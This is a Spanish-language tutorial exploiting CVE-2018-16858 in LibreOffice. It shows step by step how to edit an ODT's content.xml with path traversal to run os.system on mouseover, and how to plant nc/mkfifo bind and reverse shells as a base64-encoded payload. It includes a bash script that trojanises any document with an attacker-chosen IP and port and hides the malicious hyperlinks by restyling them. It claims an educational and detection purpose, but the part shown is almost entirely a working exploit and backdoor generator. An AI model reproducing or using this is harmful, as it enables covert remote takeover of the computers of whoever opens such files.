En esta entrada se verá cómo utilizar un fallo sencillo de un programa para conseguir abrir una puerta trasera en el sistema que utilice dicho programa.

El fallo en cuestión viene definido en el CVE-2018-16858 perteneciente a la suite de ofimática LibreOffice. Este fallo logra, en un archivo especialmente formado, realizar un escalado de directorios, permitiendo la ejecución de código Python. Dicha ejecución se vincula o saltará ante la acción del usuario sobre el documento, y se realiza sin que se le dé ningún tipo de advertencia al usuario por la ejecución de macros.

El presente documento se divide en cinco partes. En la primera se explicará el fallo en sí, cómo desempaquetar un OpenDocument, cómo cambiar su estructura para que ejecute el script local que se desea, y cómo recomponer el documento de nuevo para su ejecución y prueba.

En la segunda parte veremos cómo utilizar la ejecución local para lanzar cualquier comando en el sistema en el que se abra el documento, y generaremos una puerta trasera que permita la ejecución de comandos remotos.

En la tercera parte automatizaremos el proceso para generar documentos que creen puertas traseras con comunicacion directa o reversa, determinando dirección IP y puerto a los que se deberá conectar.

La cuarta parte tratará sobre la integración del fallo en el sistema metasploit para que mediante msfconsole se puedan generar documentos compatibles con la forma de explotación de metasploit. Con esto se podrán elegir como código a ejecutar cualquier payload definido en la suite de metasploit.

La quinta y última parte mostrará cómo integrar en un sistema de antivirus el proceso de detección que permita identificar los ficheros de tipo LibreOffice infectados mediante el procedimiento anterior. Se utilizará el formato de detección del antivirus ClamAV, permitiendo comprender mejor el proceso de detección que tienen los antivirus y así facilitar nuestra protección ante amenazas de este tipo.

Todo el proceso se realizará para sistemas Linux basados en Debian, pero lo que aquí se explica puede ser extrapolado a otros sistemas, ya que se describe detalladamente. Tanto el fallo como las pruebas de concepto del CVE original se realizaron para la version de LibreOffice para Windows, por lo que siempre se puede acudir a dicha fuente para utilizar lo descrito en este documento de forma análoga para las versiones de Windows.

Descripción del fallo

LibreOffice (y, por cuestiones genéticas, Apache OpenOffice) tiene un fallo en versiones anteriores a su última versión (6.1.5) que permite la ejecución de código Python situado en cualquier parte del ordenador sin que el usuario sea advertido por la ejecución de una macro.

Para poder ver el fallo en cuestión podemos generar un documento nuevo en el editor de textos en el que escribiremos algo, lo seleccionaremos y generaremos un hipervínculo. Para crear un hipervínculo en el texto hay que seleccionar el menú Insert y dentro la opción Hyperlink (también se puede conseguir seleccionando el texto y después usando la combinación de teclas Ctrl+K).

Aparecerá el siguiente dialogo: 

Para definir un hipervínculo deberemos insertar una URL y hacer clic en Apply. Aparte de la opción de URL en la parte de abajo del cuadro de diálogo, donde se puede leer Further Settings, dispondremos de un botón con el icono de Play que nos permitirá además vincular eventos a determinadas acciones. Es ahí donde definiremos que deseamos ejecutar un código Python como acción.

Al pulsar dicho botón se abrirá un nuevo diálogo: 

En él podremos seleccionar entre tres eventos básicos y el script que se desea utilizar. Como evento seleccionaremos Mouse Over Object y como script dentro de los scripts de la familia LibreOffice Macros se seleccionará Python Samples. Dentro de dicha opción solo existe un script predeterminado llamado TableSample, que es el que seleccionaremos.

Una vez hecho esto, si pasamos el ratón por encima del texto que hemos convertido en hipervínculo, veremos que se abre una ventana con un documento en el que hay una tabla. Esto quiere decir que hemos asociado el evento de pasar el ratón por encima del hipervínculo al script en Python. Lo que pretendemos es sustituir esta acción por otra que nosotros queramos.

Para ello guardaremos el documento que hemos creado y saldremos de LibreOffice para ejecutar en la consola una serie de comandos.

Entendiendo los OpenDocument

El formato de documento ODT no es más que un zip con una serie de archivos dentro de él (el formato DOCX de Microsoft Office es muy parecido). Por ello, lo primero que haremos es descomprimir el archivo con un descompresor de archivos zip.

En nuestro caso utilizaremos la herramienta de línea de comando llamada unzip, así que simplemente ejecutaremos la siguiente sentencia:

1
[email protected]:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt

Con esto veremos los archivos que realmente tiene dentro un archivo de tipo OpenDocument. Los más relevantes para nosotros serán el archivo mimetypes, el archivo content.xml y el archivo styles.xml.

El archivo mimetype es el primero que debe aparecer en la lista de archivos del zip, por lo que cuando volvamos a empaquetar los archvos deberemos forzar con nuestro empaquetador de archivos que así sea o el archivo no será interpretado como un OpenDocument.

El archivo content.xml contiene el texto del documento que hemos escrito en el que tenemos texto mezclado con determinadas etiquetas que dicen en qué formato se debe ver el texto.

Por ejemplo, en la siguiente línea:

1
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>

Se puede observar un ejemplo de un parrafo de texto escrito con un estilo concreto definido por el atributo text:style-name. El parrafo de texto está entre el tag de apertura text:p y el tag de cierre </text:p>.

El script asociado al hyperlink que hemos hecho también se puede ver de forma bastante simple. Si buscamos entre el texto de content.xml la palabra python o el nombre del script de python que hemos cargado, en nuestro caso TableSample.pycon lo que se puede detectar fácilmente la línea donde debemos variar el contenido:

1
&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

En esta línea se encuentra la ruta del script en python que se va a cargar cuando pongamos el ratón encima del hipervínculo llamado TableSample.py y la función que se a a ejecutar del código python, en este caso createTable.

El problema inherente a LibreOffice es que cuando lee los documentos no se limpia correctamente el valor del código python a cargar. El programa no limpia los caracteres ../ de la ruta del archivo por lo que se puede acceder a cualquier archivo del sistema en el que se abra el documento de texto. Además, si ese archivo al que se accede es un archivo con código python podremos ejecutar cualquier función que haya definida en dicho archivo.

Primera prueba de ejeción de comando simple

Como primera prueba de concepto vamos a hacer que al pasar por encima del hipervínculo se ejecute la calculadora, en nuestro caso el programa galculator abre la calculadora. Deberemos generar un programa en python que permita ejecutar un comando dentro de una función, al estilo de como espera la ejecución el LibreOffice. Para ello generaremos el siguiente código en la ruta /tmp/prueba.py:

1
2
3
4
import os;

def ejecuta():
    os.system("galculator");

Con este pequeño código conseguiremos nuestro propósito, ahora solo hace falta que añadamos tanto el archivo python /tmp/prueba.py como el nombre de la función ejecuta dentro de la llamada que se hace en el archivo odt. Por lo que la línea que hacía la llamada al python quedaría de la siguiente forma:

1
&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/>

Como se puede ver, lo que se ha hecho es añadir un número grande de ../ para asegurarnos de que escalamos hasta la raiz de nuestro sistema de archivos. Y a partir de ahí añadirmos la ruta concreta a nuestro archivo python (prueba.py). Después del $ se ha añadido la palabra ejecuta que es la función que hace que se carge la calculadora.

Una vez hecho esto, empaquetaremos de nuevo nuestro archivo odt recordando poner como primer archivo el mimetype. Si utilizamos la utilidad zip simplemente ejecutaremos el siguiente comando en el directorio donde hayamos desempaquetado nuestro odt y que contiene el content.xml malicioso:

1
[email protected]:~/Documents/prueba$ zip -r exploit.odt mimetype .

Una vez hecho esto abriremos el archivo con el LibreOffice y observaremos que se ejecuta el programa de la calculadora cuando pasamos el ratón por encima del hipervínculo.

Este primer paso, necesita de un código python generado con una función que podamos ejecutar sin parámetros. Es sencillo de implementar pero puede ser difícil de utilizar en un entorno creible o reproducible para un pentesting real.

Desde la versión 6.1 de LibreOffice se dispone de la posibilidad de que en las llamadas a funciones python se puedan pasar parámetros a dichas funciones. Esto permite mayor libertad de scriptado a los que deséan utilizar la utilización lícita de los macros de dicho programa, pero además nos ofrece una oportunidad de oro a los que deséan buscar las esquinas al software.

Cómo antes decíamos y de hecho hemos utilizado, para realizar una llamada al sistema para ejecutar cualquier comando se hace una llamada a la clase os y a la función system. Es la que hemos utilizado para llamar a la calculadora pasándo como parámetro la string galculator. Lo bueno de las clases python es que podemos saber en que ruta están, y de hecho lo que se puede hacer para aprovecharnos de poder pasar parámetros a las funciones es buscar la ubicación de dicha clase. Antes hemos ejecutado una funcion de un programa python que se encontraba en /tmp/ y que hemos llamado prueba.py. Bien, ahora lo que haremos será llamar directamente a la funcion system que se encuentra en el programa python os.py que es una de las librerías del sistema. Por ejemplo en los sistemas Linux actuales lo solemos encontrar en la ruta /usr/lib/python3.5/os.py, por lo que cambiaremos la anterior ruta al códito /tmp/prueba.py por esta nueva ruta. Ahora la función ejecuta la cambiaremos por la funcion system y de hecho como podemos pasar parámetros a dicha función ya podemos ejecutar el programa galculator, o caulquier otro que deseemos, de manera directa, sin necesidad de generar en el equipo donde se verá el documento LibreOffice un archivo python a ejecutar.

Donde antes teníamos esta cadena en el archivo content.xml:

1
&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/>

Ahora simplemente tendremos la siguiente:

1
&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

El modo de empaquetar el archivo como documento de LibreOffice será exáctamente el mismo. El resultado ahora será que simplemente abriendo el documento odt sin necesidad de poner un programa python en ninguna ruta específica. Eso si, necesitaremos que la versión donde se abre el documento sea por lo menos la versión 6.1 del LibreOffice.

En cuanto se abra el archivo y se ponga encima el ratón de el link del documento se abrirá la aplicación de la calculadora al igual que pasaba en el ejemplo anterior.

Creación de puerta trasera y autoejecución mediante documento office

Los comandos que se ejecutan cuando se abre el documento se ejecutan en la máquina local, por lo que una utilidad que se le puede dar a dicha ejecución es la apertura de una puerta trasera que nos permita la ejecución de comandos de forma remota desde otros lugares.

Para hacer una puerta trasera muy sencilla utillizaremos el comando nc y realizaremos un fifo para que con el mismo puerto podamos enviar comandos al ordenador y obtener el resultado de dicha ejecución. En el primer acercamiento al fallo que utilizamos para la ejecución del comando tuvimos que hacer un programa en python. La idéa es que no tengamos que subir ningun código adicional al ordenador que se deséa explotar por lo que se utilizarán comandos del sistema para la generación de la puerta trasera.

El comando nc es un comando del sistema que permite abrir un puerto en el sistema local o conectarte a un puerto de un sistema remoto de forma que lo que recibas por dicha conexión salga por la salida estándar y lo que se introduzca por la salida estándar salga por la conexión hacia el otro equipo. Podemos utilizar pipes | para que la salida por pantalla de un comando en ejecucion se introduzca en otro comando, por lo que si concatenamos el comando nc con el comando /bin/bash nos permitirá una solución sencilla para la ejecución de comandos remotos. Si ejecutamos nc ip puerto | /bin/bash lo que llegue por la conexión que realiza el comando nc se pasará al comando /bin/bash que ejecuta una shell, con lo que se estarían ejecutando todos los comandos que nos envían desde el ordenador con el que hemos conectado. Pero la salida estándar de dichos comandos no se devuelve al comando nc, por lo que no se vería la salida de estos. Se podría redireccionar la salida estándar del comando /bin/bash hacia un nuevo comando nc que utilice otro puerto, pero entonces necesitariamos dos puertos para poder realizar el envío de comandos y la recepción de salida de comandos lo que resulta algo tosco.

Una solución simple es utilizar fifos, el comando mkfifo genera un archivo que permite irse escribiendo y consumiéndose a la vez. Por lo que generaremos un archivo fifo que utilizaremos como entrada del comando nc para que todo lo que se escriba en dicho archivo se envíe por la conexión y se usará como salida para el comando /bin/bash con lo que la salida de todo lo que se ejecute mediante dicho comando se escriba en el archivo fifo.

La sucesión de comandos para tener un backdoor que actúe como servidor en cualquier terminal linux sería la siguiente:

1
2
[email protected]:~/$ mkfifo /tmp/lalala;
[email protected]:~/$ nc -l -p puerto &lt; /tmp/lalala | /bin/bash > /tmp/lalala;

Para conectarnos a dicho equipo desde cualquier otro ordenador se debería ejecutar lo siguiente:

1
[email protected]:~/$ nc ip puerto

Donde ip es la dirección IP del equipo con el backdoor y puerto el mismo valor que hemos indicado a la hora de ejecutar el nc en el equipo donde hemos ejecutado el backdoor.

Si por problemas de firewalls en la red del equipo destino no podemos utilizar el equipo como servidor podemos hacerlo de forma inversa, de forma que sea el equipo que tiene el backdor el que se conecte a un servidor en nuestro poder. Para ello ejecutariamos primero en nuestro equipo el siguiente comando:

1
[email protected]:~/$ nc -l -p puerto

Y en el equipo del backdoor la siguiente sucesión de comandos muy parecida a la anterior:

1
2
[email protected]:~/$ mkfifo /tmp/lalala;
[email protected]:~/$ nc ip puerto &lt; /tmp/lalala | /bin/bash > /tmp/lalala;

La dirección IP que debe aparecer en este último comando es la de nuestro equipo. Evidentemente el equipo remoto debe ser capaz de llegar a dicha dirección IP para que pueda realizar la conexión desde la que enviaremos los comandos a ejecutar en el sistema remoto.

Por lo que en el ordenador del backdoor y por poner el comando en una sola línea se puede ejecutar o bien esta línea:

1
[email protected]:~/$ mkfifo /tmp/lalala;nc -l -p puerto &lt; /tmp/lalala | /bin/bash > /tmp/lalala;

o bien esta línea:

1
[email protected]:~/$ mkfifo /tmp/lalala;nc ip puerto &lt; /tmp/lalala | /bin/bash > /tmp/lalala;

Una vez comprendido esto si conseguimos que mediante el archivo libreoffice se ejecuta cualquiera de las puertas traseras, podremos tener el control remoto del ordenador que ha abierto el documento.

Evidentemente si cambiamos el archivo python que hemos introducido en tmp y en lugar de ejecutar la calculadora ejecutamos la backdor tendremos la ejecución automática.

1
2
3
4
import os;

def ejecuta():
    os.system("mkfifo /tmp/lalala;nc ip puerto &lt; /tmp/lalala | /bin/bash > /tmp/lalala;");

Siguiendo esta línea de generación de backdoors, ahora se podría implementar en el documento office. La forma de hacerlo es relativamente sencilla ya que simplemente deberemos cambiar el comando de la calculadora de Linux por el comando que me permite abrir la puerta trasera.

El backdoor que se ejecutará en lugar del comando de calculadora será el siguiente:

1
mkfifo /tmp/lalala; nc IP PUERTO &lt; /tmp/lalala | /bin/bash > /tmp/lalala;

Es un backdoor de conexión inversa, así que para su funcionamiento y que se pueda obtener una shell se deberá de abrir un socket en el host con dirección ip IP y en el puerto PUERTO. Se deberán cambiar dichos valores por la IP y puerto abierto en nuestro host.

Existe un problema con este comando: LibreOffice no permite la utilización de algunos caracteres especiales como < o | por lo que deberemos saltarnos de alguna forma el uso de dichos caracteres para el uso de nuestro exploit.

Probablemente la opción sencilla es utilizar base64. Base64 esta instalada por defecto en casi todos los equipos Linux y es un programa que nos permite tanto codificar como decodificar mediante ese algoritmo. Por lo que podemos codificar lo que deseamos ejecutar en base64 redireccionarlo a un archivo que después será decodificado y ejecutado.

Se va a utilizar una forma de realización del backdoor que puede ser algo tosca, pero que es bastante transparente y compensible. Depués con la misma idea se puede complicar lo que se desee para que todo quede más compacto. Como esta guia está realizada con fines educativos, se mantendrán fórmulas de ejecución mas toscas pero con comandos y ejecuciones muy simples.

Si ejecutamos en un terminal lo siguiente podremos obtener la versión del payload en base64:

1
echo "mkfifo /tmp/lalala; nc IP PUERTO &lt; /tmp/lalala | /bin/bash > /tmp/lalala;" | base64

El resultado será algo parecido a lo siguiente:

1
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=

Ahora ya no tenemos ninguno de los carácteres que pueden dar problemas en la ejecución mediante el exploit. Pero introduciendo esto en el comando system no ejecutaremos nada, pero de hecho podemos redirigir con un echo ese contenido hacia un archivo. Con ello tendriamos un archivo que cuando decodificamos puede ser ejecutado, por lo que generaremos un archivo que despue decodificaremos con el comando base64 pero con el parámetro que permite decodificar para redirigir eso a otro archivo. Que ahora si, será el que ejecutemos. Fragmentaremos primeramente cada comando explicando lo que hacemos para después usarlos todos dentro de la llamada a system del epxloit:

Primero, generamos un archivo base64 en la máquina que abre el documento LibreOffice en su directorio /tmp/ llamado lalala.base64.

1
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64

Como ese archivo codificado no nos sirve de nada, lo descodificaremos llevando la salida hacia un archivo que después queremos ejecutar en el mismo directorio pero llamado lalala.sh.

1
base64 -d /tmp/lalala.base64 > /tmp/lalala.sh

Dicho archivo no tiene permisos de ejecución por lo que deberemos darle dichos privilegios.

1
chmod 777 /tmp/lalala.sh

Después deberemos ejecutar el archivo bash que hemos generado.

1
/tmp/lalala.sh

Para finálmente borrar todos los archivos intermedios que se han generado en el ordenador.

1
2
rm /tmp/lalala.sh
rm /tmp/lalala.base64

Dentro de la llamada a la función system de nuestro exploit será la llama de todos estos comandos separados por ;, con lo que se ejecutará un comando detrás del otro, quedando el siguiente comando o payload que se deberá meter dentro de la llamada a system de nuestro contents.xml en lugar de la calculadora. Finalmente, donde teníamos el siguiente contenido que permitía la ejecución de la calculadora:

1
&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

Pondremos el siguiente contenido:

1
&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&amp;location=share" xlink:type="simple"/>

Empaquetando de nuevo el documento LibreOffice ya tenemos un documento que al pasar el ratón por encima ejecutará nuestro backdoor.

Antes de que se abra el documento y como se ha comentado anteriormente deberemos tener previamente un puerto en escucha, y en cuanto el backdoor se conecte a nuestro host ya podremos ejecutar los comandos en el sistema remoto donde se ha abierto el documento LibreOffice.

Automatización del proceso, generando un programa que me permita infectar documentos Office

Como siguiente paso, y como paso previo a la generación de un módulo de metasploit se debe ser capaz de automatizar y generalizar el proceso. Esto ayuda a comprobar si se tienen claros los cambios a realizar para poder modularizar y describir de forma concreta los problemas que se deben solucionar para hacer un programa genérico que permita infectar los documentos LibreOffice con el payload elegido. En esta sección realizaremos un pequeño script que permita infectar archivos de LibreOffice con una puerta trasera.

El script requerirá de tres parámetros, el documento office, la dirección IP a la que se debe conectar el ordenador una vez que se abra el documento Office además del puerto al que debe conectarse. Tras ejecutar el script deberemos obtener un documento LibreOffice con el backdoor introducido dentro de él. Como debemos de descomprimir el archivo zip, requeriremos que el directorio donde se ejecuta nuestro script este limpio por lo que deberemos comprobarlo dentro de él.

Con idéa de que el lenguaje no suponga un problema se utilizará bash script que permitirá realizar un script, puede que algo sucio, pero que permitirá llamadas a programas GNU que realizarán el trabajo más árduo. después todo ese trabajo que automatizan los programas de GNU habrá que o bien programarlo a mano o bien utilizar librerías que ayuden en el proceso cuando se genere el módulo de metasploit.

El script empezará exigiendo que el archivo que se deséa troyanizar exista y en caso contrario diremos al usuario que el archivo no existe:

1
2
3
4
5
6
7
8
if [ -e $1 ]; then

    #aquí irá el codigo de programa.

else
    echo "The odt file does not exists!!";

fi;

El if ejecuta la acción que tiene dentro cuando se cumple la condición que tiene entre los corchetes. En bash la condición -edevuelve verdadedo si existe un fichero con el nombre que se pone a continuación. En lugar de un nombre fijo se ha puesto $1 que en bash se corresponde con el primer parámetro que ha introducido el usuario en la línea de ejecución del script. En nuestro caso, el primer parámetro especifica el archivo .odt que se desea troyanizar.

Se ha puesto la condición de que en el directorio donde se ejecuta el comando, esté vacío, esto es símplemente para hacernos el trabajo más sencillo, así que deberemos comprobarlo antes de continuar con la primera sección del programa. Esta vez lo que se hará será hacer que el script ejecute la orden ls -a y comprobaremos que sólo existen en el directorio de ejecución dos archivos. Los correspondientes al directorio . y el correspondiente al directorio ... Esto lo consiguiremos mediante la siguiente sección de código:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
I=0;

for fichero in `ls -a`; do

    I=$(($I+1));

done;

if [ $I -gt 2 ]; then

    echo "At least one file exists on the directory. Exiting.";

else


fi;

En esta sección código se está inicializando la variable I con el valor 0. después mediante un bucle for se recorren cada uno de los elementos que compongan la salida del comando ls -a y en cada iteración del bucle la variable fichero cambiará de valor por el nombre de cada elemento, en este caso con el nombre de cada fichero del directorio de trabajo. En bash poner un comando entre las comilla especiales ` permite que el comando se ejecute y que podamos utilizar su salida por pantalla para devolverla en una variable, o para utilizarla en bucles como es nuestro caso. Dentro del bucle simplemente lo que se esta haciendo es aumentar el valor de la variable I en 1. En bash script las variables que están a la derecha del igual, de las que se deséa obtener un valor, se deben de preceder siempre por un signo de dolar $. Como ademas se desea realizar una operación matemática se deberá envolver la operacion que se deséa realizar $I+1 entre $(( y )) lo que indica al interprete de bash que estamos en modo matemático y debe realizar operaciones con lo que hay dentro.

Tras el bucle, la variable I debería valer 2 si estamos en un directorio vacío o más de 2 si estamos en un directorio con algún archivo. Por lo que mediante una condición verificaremos si la variable vale más de 2 con intención de parar el programa y avisar al usuario. De nuevo usaremos un if pero esta vez usaremos la comparación mayor que, que en bash se escribe -gt de las siglas en ingles de «greater than». Cómo se ve en la pieza de código, si tenemos un valor mayor que 2 se notifica al usuario del error, en caso contrario se seguirá la ejecución de las demás instrucciones.

Como última comprobación se realizará la comprobación de que el usuario ha introducido 3 parámetros. Eso se hará simplemente mirando si la variable $3 está vacía. Dicha variable especifica que se ha introducido el argumento número 3, por lo que si está vacía significa que la instrucción ejecutada por el usuario no tiene 3 argumentos de entrada. Se compara simplemente con el caracter vacío y en caso de estar vacía se indica al usuario de que ha cometido un error ejecutando el script. El código de esto vuelve a ser bastante simple:

1
2
3
4
5
6
7
8
9
    if [ "" == "$3" ]; then

        echo "I need an IP and a port to connect to.";

    else

        #continuamos con el programa.

    fi;

Después de dichas comprobaciones se empezará con la ejecución de órdenes que permitirán realizar la troyanización del documento. Se empieza con la ejecución del comando unzip para descomprimir el archivo LibreOffice. En caso de éxito se seguirá el proceso, si no, se parará.

1
2
3
4
5
6
7
8
unzip $1;

        if [ $? != 0 ]; then

            echo "some error has occurr!!!Exiting!!";
            exit;

        fi;

La primera línea de esta sección simplemente esta descomprimiendo el archivo que le ha indicado el usuario. En el condicional lo que se está haciendo es comprobar si la ejecución del comando unzip se ha realizado con éxito mediante el código de salida del programa. Ese código de salida lo devuelven todos los programas que se pueden ejecutar a través de consola y por estándar, cualquier valor distinto de 0 estará indicando que el programa ha fallado. La forma de obtener dicho código de error se hace a través de la variable $? que contiene el código de salida del último comando ejecutado.

En el condicional simplemente comprobaremos que séa 0 y en caso de no serlo notificaremos al usuario con un mensaje. después de dicha notificación ejecutamos un exit que permite parar la ejecución del script en ese punto exacto para evitar que el script siga ejecutando las siguientes líneas.

Recordemos que una vez descomprimido el fichero se deben de cambiar dos cosas en el contenido del zip, el archivo content.xml que es donde se introduce el troyano en si y el archivo styles.xml que es donde se cambia el formato que tienen los hipervínculos para que el usuario que abre el archivo no sospeche del problema.

El payload que se va a introducir es el mencionado en el apartado anterior, deberá estar en base64 por lo que guardaremos dicha carga útil en una variable. Además se cambiará de nombre los archivos que se deben modificar con intención de poder leerlos y modificarlos en unos nuevos con el nombre original. De manera que los archivos con el nombre original serán reálmente los archivos modificados:

1
2
3
4
5
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 &lt; /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

        mv content.xml content.xml.NEW;

        mv styles.xml styles.xml.NEW;

El único cambio respecto al payload original comentado en el apartado anterior es que donde se indicaba la dirección IP y el puerto se utilizan el argumento 2 y 3 que ha puesto el usuario. Como se vé, se hace una operación parecida a la realizada con el for que se utiliza para contar el número de ficheros del directorio pero esta vez la salida del comando en lugar de ir a parar a la vriable del for la guardamos en una variable que se ha llamado PAYLOAD. Como se observa se ejecuta también el cambio de nombre de los archivos indicados mediante el comando mv.

Con intención de cambiar el contenido de contents.xml, ahora llamado contents.xml.NEW, el comando que se puede utilizar es el comando sed. Sed es un comando básico de la suite de comandos Unix que permite, entre otras cosas, la sustitucion de ciertas expresiones regulares por otras. El cambio que se debe hacer en el archivo content.xml.NEW es la búsqueda de todas las entradas que tengan la forma:

1
&lt;text:p text:style-name="Standard">

Que no es mas que el tag utilizado por LibreOffice para definir el texto. En realidad para definir un texto cualquiera basta con que empiece por <text:p y termine por > para añadir justo antes el link que permite la ejecución junto con el PAYLOAD que se ha realizado con anterioridad. Algo que quedará de la forma:

1
&lt;text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">&lt;office:event-listeners>&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&amp;location=share" xlink:type="simple"/>&lt;/office:event-listeners>License: &lt;text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">

Donde PAYLOAD se modifica por el código en base64 calculado con la dirección IP elegida y el puerto elegido. Además, después de esta inserción se debe dejar intacto el tag del párrafo de texto mencionado con anterioridad.

Además, se debe indicar la terminación del tag que se pone de forma adicional por lo que en todo tag de terminación de texto </text:p> se deberá cambiar por </text:a></text:p>.

Para este fin se hará uso del comando sed que permite que todo lo que se inserte por la entrada estándar sea modificado, el formato del comando es el siguiente:

1
sed s/"busqueda"/"cambio"/g

La s dice a sed que deseamos realizar una sustitucion, el primer string marcado en el ejemplo como busqueda es lo que que el comando va a modificar de lo que se le pase por la entrada estándar. En el comando de ejemplo el string cambio es por lo que sed va a cambiar lo que se deséa buscar. La letra g indicada tras las dos palabras permiten que no sólo haga el cambio con la primera palabra que cumpla el criterio de busqueda, si no con todas las palabras de la entrada que la cumplan. De manera que si en el comando tal y como está escrito se le pasa por pantalla la siguiente frase:

1
la búsqueda de sed permite busquedas y cambiarlas por algo.

El comando sed devolvera la siguiente frase:

1
la cambio de sed permite cambios y cambiarlas por algo.

Además sed permite por un lado expresiones regulares, por lo que los carácteres *, .^[ y ] tienen significados especiales además en el segundo parámetro del sed, el que permite definir el cambio, si se introduce el caracter & permitirá sacar el patrón de búsqueda por pantalla. No es intención de este tutorial entrar en todos los pormenores del sed así que simplemente se describirán los comandos que se ejecutan y su función. Se hará uso de las pipes | que permiten la salida de un comando pueda ser la entrada del siguiente.

1
cat content.xml.NEW | sed s/"&lt;text:p [^>]*[^\/]>"/"&amp;"'&lt;text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">&lt;office:event-listeners>&lt;script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/>&lt;\/office:event-listeners>'/g | sed s/"&lt;\/text:p>"/"&lt;\/text:a>&amp;"/g > content.xml;

En este comando se está pasando el archivo content.xml.NEW a dos ejecuciones consecutivas del comando sed. En el primer sed, se está introduciendo la parte del payload, se busca el string <text:p seguido por un número indeterminado de cualquier caracter que no sea >. También se exige que el caracter anterior al > no sea un fin de tag. Dicha expresion regular se expresa de la siguiente forma:

1
&lt;text:p [^>]*[^\/]>

Dicha cadena encontrada se va a introducir en la salida del comando sed, ya que estamos insertando el caracter & en la salida seguido del tag del enlace en el cual asignamos también la acción de que cuando pasemos el ratón por encima se ejecute el script en python que deseeamos. Mayormente es una copia del tag utilizado poniendo en medio el PAYLOAD que se ha generado mediante la variable de bash llamada $PAYLOAD.

Lo que se obtiene de ese cambio se le aplica el cambio determinado con el segundo sed, que buscará la terminación del tag de texto </text:p> y en la salida se usará el mismo tag precedido de la terminación del tag del link para que cuando se encuentre el texto </text:p> la salida que se obtenga sea </text:a></text:p>.

Con ámbos cambios ya se habrá conseguido que el archivo content.xml.NEW se transforme en el archivo que se deséa por lo que la salida tras realizar los sed, lo introduciremos en el archivo de salida content.xml.

Una vez hecho eso, ya no se necesitará el archivo temporal content.xml.NEW por lo que se procederá a su borrado mediante el comando rm.

1
rm content.xml.NEW

Se deberá tambien de hacer una modificación de cara a que los hipervinculos generados en el contenido no se visualicen como tal en al abrir el archivo. Por lo que se debe eliminar el subrayado que tienen por defecto los hipervínculos. En el fichero llamado styles.xml es donde LibreOffice guarda los estilos en formato xml y que se puden modificar con cambios en el texto.

El estilo por defecto que tienen los hipervinculos en LibreOffice se llama Internet_20_link, de modo que lo primero que se debe hacer es cambiar el nombre del estilo por defecto para llamarle de una forma que LibreOffice no vincule el formato definido con dicho estilo que fuerza el subrallado. Simplemente a todo estilo llamado así se le añadirá un 2 al final de modo que dicho estilo no se utilice en el documento en caso de que esté definido. Por otro lado, se definirá un estilo nuevo llamado exactamente así pero en el que se determinará que no esté subrayado. El formato en xml de dicho estilo es el siguiente:

1
&lt;style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">&lt;style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>&lt;/style:style>

